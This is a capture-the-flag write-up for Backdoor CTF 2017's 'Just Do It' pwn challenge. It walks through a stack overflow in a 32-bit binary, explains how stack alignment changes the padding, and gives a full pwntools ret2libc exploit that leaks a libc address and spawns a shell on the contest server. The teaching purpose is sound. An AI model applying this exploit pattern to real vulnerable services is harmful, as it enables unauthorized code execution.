It seems that it was telling the truth. It is a 32-bit ELF file. Now, we will run it to see how it works.

1

2

3

4

$./32_chal

Hello pwners,

AAAA

AAAA

It prints a string first. Then, reads our input from stdin and print it back to us. Before moving to the reversing stuff, let’s check its protections.

1

2

3

4

5

6

$checksec32_chal

Arch:i386-32-little

RELRO:Partial RELRO

Stack:No canary found

NX:NX enabled

PIE:No PIE(0x8048000)

As we see here, the stack is not executable. Now, we can start analyzing it further. I used gdb-peda for it, you can use your favourite disassembler/debugger (radare2, gdb, pwndbg, IDA, Hopper, etc.).

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

gdb-peda$pdismain

Dumpofassemblercodeforfunctionmain:

0x0804847d<+0>:pushebp

0x0804847e<+1>:movebp,esp

=>0x08048480<+3>:andesp,0xfffffff0

0x08048483<+6>:addesp,0xffffff80

0x08048486<+9>:movDWORDPTR[esp+0x8],0x10

0x0804848e<+17>:movDWORDPTR[esp+0x4],0x8048570

0x08048496<+25>:movDWORDPTR[esp],0x1

0x0804849d<+32>:call0x8048370<write@plt>

0x080484a2<+37>:movDWORDPTR[esp+0x8],0xc8

0x080484aa<+45>:leaeax,[esp+0x1c]

0x080484ae<+49>:movDWORDPTR[esp+0x4],eax

0x080484b2<+53>:movDWORDPTR[esp],0x0

0x080484b9<+60>:call0x8048330<read@plt>

0x080484be<+65>:leaeax,[esp+0x1c]

0x080484c2<+69>:movDWORDPTR[esp+0x4],eax

0x080484c6<+73>:movDWORDPTR[esp],0x8048580

0x080484cd<+80>:call0x8048340<printf@plt>

0x080484d2<+85>:moveax,0x0

0x080484d7<+90>:leave

0x080484d8<+91>:ret

Endofassemblerdump.

Now, things are getting tricky. First, it uses write and read which are not buffered, then uses printf which is buffered by default. I will explain why this is important soon, but first you should know that write function tries to write exactly n bytes. It does NOT stop when it encounters a newline or a null character. According to the code, it is going to write 16 bytes from 0x8048570. Let’s see those bytes.

1

2

gdb-peda$hexdump0x8048570

0x08048570:48656c6c6f2070776e6572732c200a00Hellopwners,..

Look at the end of it. It includes a newline (0xa) and a null character. We should be careful while writing our exploit. If we do read the line with recvline function, it wont read the null byte. It can create two different problems. First, our next receiving call might return empty string. Second, the null byte might be prepended to the next string we read. So, we should handle it carefully.

In order to exploit the program, we need to leak an address from libc. Due to ASLR protection, the base address of libc is always different (random). Since printf does not stop unless it encounters a null character, we can easily leak an address. However, the program immediately returns after printf which means we don’t have time to make use of that address. In order to overcome this problem, we will use Return-Oriented Programming (ROP).

We will first overwrite the stack such that it will return to [email protected] with parameters 1, [email protected], 4. Then, it will return to the main function again! What we are doing is leaking the address of read from Global Offset Table (GOT). At the beginning of the program, each entry in GOT points to Procedure Linkage Table (PLT) section. When a function is called for the first time, it goes to PLT section and its real address is calculated there. Afterwards, its GOT entry is updated with that address and it gets called. Next time the function gets called, it directly goes to the real location since its GOT entry is already updated.

Now, we will calculate the amount of padding required to overwrite the return address. I used De Bruijn pattern method this time. I created a pattern of 200 characters since the program reads 200 bytes as input.

We need a padding of 112 characters for the first iteration. You can also find the required padding for the second iteration with the same pattern method or you can just set some breakpoints and calculate it manually. These are the easy ways, we will not use either of them. Let’s think about what changes in the second iteration. We add 4 to the stack pointer by returning from main function. If we were using call instructions to call the functions, then eip+4 would be pushed onto the stack. Therefore, the stack pointer would be decreased by 4 and everything would be fine. In our case, we use retn instruction for both returning from a function and calling another function. The result is stack value gets increased all the time and never gets decreased back. Why is this important? Why do we care about the initial value of the stack pointer? To answer that question we need to look back at the main function.

1

0x08048480<+3>:andesp,0xfffffff0

This instruction clears the last 4 bits of the esp register. In other words, it rounds the esp register down to the closest multiple of 16. This is known as Stack Alignment.

How does this affect our padding? When we step into the main function, the return address is on the top of the stack. Then, we push ebp register onto the stack. Thus, the return address is at esp+4. If there were no stack alignment, we would simply continue with subtracting some value from esp register for our local variables including the input buffer. Our buffer’s length is fixed. So the distance between the beginning of the buffer and the return address would always be the same. The stack alignment kicks in just before we create space for our local variables on the stack. Let’s say the last digit of esp was initially 8. After the alignment, it will be 0 which means we substracted 8 before substracting our real value. It is like we created 2 integer variables (32-bit) before the buffer.

To sum up, the Stack Alignment can alter the distance between the buffer and the return address.

Let’s set a breakpoint on that and instruction and check the value of esp for the first iteration.

Initial esp value is 0xffffd288 which causes extra 8 bytes between the buffer and the return address since it is last hexadecimal digit is non-zero. While exploiting the binary, we will first return from main to the write, then we will return from write to main again. So, esp register will be incremented by 8 and the new value will be 0xffffd290. With this new value, there won’t be any additional bytes this time, so the required padding will be decreased to 112 – 8=104 characters.

Now, we can calculate the base address of libc by substracting the offset of read function from the leaked address of read. Then, we can use the offsets of ‘/bin/sh’ and system to calculate their runtime addresses. We will get their offsets from the given libc file.

Here is the exploit I wrote in python.

exploit.py

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

#!/usr/bin/env python

frompwn import*

context(arch='i386',os='linux')

binary=ELF('./32_chal')

libc=ELF('./libc.so.6')

read_off=libc.symbols['read']

system_off=libc.symbols['system']

binsh_off=libc.search('/bin/sh').next()

write_plt=binary.plt["write"]

read_got=binary.got["read"]

main=binary.symbols["main"]

r=remote('hack.bckdr.in',9036)

r.recvuntil('\0')

payload1='A'*112

payload1+=p32(write_plt)

payload1+=p32(main)

payload1+=p32(1)

payload1+=p32(read_got)

payload1+=p32(4)

r.sendline(payload1)

read=u32(r.recv(4))

r.recvuntil('\0')

libc_base=read-read_off

system=libc_base+system_off

binsh=libc_base+binsh_off

payload2='A'*104

payload2+=p32(system)

payload2+="RETN"

payload2+=p32(binsh)

r.sendline(payload2)

r.interactive()

In the second payload “RETN” is just a dummy for the return address from system function. It is not important since we will get our shell instead of returning.

Now, there is a strange thing in the python code. After sending the first payload, we read our leaked address without reading the output of printf. At the beginning of this write-up, I told you printf is buffered whereas write is not. When the output is terminal, stdio buffer gets flushed whenever a newline character is encountered. However, our output is redirected which means the buffer won’t get flushed that easily. As a result, the program will first print the leaked address. If the buffer gets full or the program exits normally, it will print our inputs back. However, the program won’t exit since we will redirect it to system and get a shell. Therefore, we don’t need to read our input strings which are supposed to be printed back via printf.

Let’s run the script and get the flag.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

$python exploit.py

[*]'/root/Documents/Backdoor CTF 2017/Pwn250 - Just Do It/32_chal'

Arch:i386-32-little

RELRO:Partial RELRO

Stack:No canary found

NX:NX enabled

PIE:No PIE(0x8048000)

[*]'/root/Documents/Backdoor CTF 2017/Pwn250 - Just Do It/libc.so.6'

Arch:i386-32-little

RELRO:Partial RELRO

Stack:Canary found

NX:NX enabled

PIE:PIE enabled

[+]Opening connection tohack.bckdr.inon port9036:Done

[*]Switching tointeractive mode

$ls

32_chal

flag.txt

setup.sh

$cat flag.txt

flag{all_th3_b35t_y0u_successfully_started_s0lving_:P}

Here we get flag{all_th3_b35t_y0u_successfully_started_s0lving_:P}.

Umut Barış Öztunç

Security researcher who participates in Capture The Flag events, also the founder of BreakPoint CTF team.